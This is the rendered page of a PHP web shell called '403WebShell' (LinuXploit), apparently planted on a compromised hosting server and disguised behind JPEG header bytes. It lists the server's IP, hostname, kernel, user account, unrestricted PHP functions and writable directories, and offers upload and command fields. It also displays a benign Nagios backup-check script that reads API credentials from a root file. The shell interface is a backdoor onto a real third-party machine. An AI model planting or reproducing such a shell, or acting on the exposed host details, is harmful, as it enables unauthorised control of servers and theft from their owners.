����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.31.240
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_bkp
#!/bin/bash

# process args
while [ $# -gt 0 ]; do

   if [[ $1 == *"--"* ]]; then
        v="${1/--/}"
        if [[ $v == 'help' ]]; then
            declare $v=1
            shift
            continue
        fi
        declare $v="$2"
   fi
  shift
done

usage="$(basename "$0") [--dir] [--force_period] - plugin for check backups according to config plan using bkp list.

params:
    --dir           - configs location ( default: /etc/opt/bkp )
    --force_period  - d,w,m - daily,weekly or montly
                      tells that last backup must be not older then period + 1 day
example:
    check_bkp --dir /etc/opt/bkp/solusvm --force_period w"

test $help && echo "$usage" && exit

now=`date +%s`
sec_in_day=86400
exit_status=0
dir=${dir:-/etc/opt/bkp}

case $force_period in
  d)
    period=2
    ;;
  w)
    period=8
    ;;
  m)
    period=32
    ;;
  *)
    period=2
    ;;
esac

## get data for API
if [ -d '/usr/local/solus' ]; then
    while IFS='=' read -r key value; do
        case "$key" in
            pass) password=$value ;;
            host) host=$value     ;;
            user) user=$value     ;;
        esac
    done < '/root/.solusvm_custom_api'
fi

# check if bkp supports multiple profiles in configs
multiprofile=`bkp -? 2>&1 | grep list-profiles`
exclude='/etc/icinga2/plinc/bkp_exclude'
# find all configs in specified dir old than period
for config in `find $dir -maxdepth 1 -type f -mtime +$[period-1] -name "*.yml"`; do
    [[ -f $exclude ]] && grep -q $config $exclude && continue
    config_basename=`basename $config`
    has_daily=`grep -oP "\s+d:" $config`
    test $has_daily && limit=$[sec_in_day*period]
    if [ $force_period ]; then
        limit=$[sec_in_day*period]
    fi

    # solusvm part; need .my.cnf file with all stuff
    if [[ $dir =~ ^/etc/opt/bkp/solusvm/?$ ]]; then
        ctid=`grep -oP "(?<=vm: \')[^\']*" $config`
        if [ -z $ctid ]; then
            exit_text+="can't determine ctid from $config\n"
            exit_status=1
        fi
        type=${config_basename:0:2}
        if [ "$type" = "VM" ]; then
            if [ ! -f "/etc/libvirt/qemu/${ctid}.xml" ]; then
                continue
            fi
            if ! virsh domstate $ctid &>/dev/null; then
                continue
            fi
            vmuuid=`virsh domuuid $ctid | tr -d "\n"`
            read -r vm suspended unsusp_time <<< "$(curl -s -X GET https://${user}:${password}@${host}:5697/is-suspend/${vmuuid} |jq -r '.[] | "\(.uuid) \(.is_suspended) \(.unsusp_time)"')"
            if [ $suspended -eq 1 ]; then
                continue
            fi
            if (( $[now - unsusp_time] < $limit )); then
                continue
            fi
        else
            exit_text+="can't determine virtualization type for $config\n"
            exit_status=1
        fi
    fi

    if [ -n "$multiprofile" ]; then
        for profile in `bkp list-profiles $config`; do
            last_archive_date=`bkp --profile=$profile list $config | tail -1 | grep -oP "\d{4}-\d{2}-\d{2}"`
            if [ ! $last_archive_date ]; then
                exit_text+="can't find last backup for $config_basename:$profile\n"
                exit_status=1
                continue
            fi
            last_archive_seconds=`date +%s -d $last_archive_date`
            if (( $[now - last_archive_seconds] > $limit )); then
                exit_text+="last backup is too old for $config_basename:$profile\n"
                exit_status=1
            fi
        done
    else
        last_archive_date=`bkp list $config | tail -1 | grep -oP "\d{4}-\d{2}-\d{2}"`
        if [ ! $last_archive_date ]; then
            exit_text+="can't find last backup for $config_basename\n"
            exit_status=1
            continue
        fi
        last_archive_seconds=`date +%s -d $last_archive_date`
        if (( $[now - last_archive_seconds] > $limit )); then
            exit_text+="last backup is too old for $config_basename\n"
            exit_status=1
        fi
    fi
done

dir=${dir:-/etc/opt/bkp}
exit_text=${exit_text:-"bkp OK"}
echo -e $exit_text
exit $exit_status

Youez - 2016 - github.com/yon3zu
LinuXploit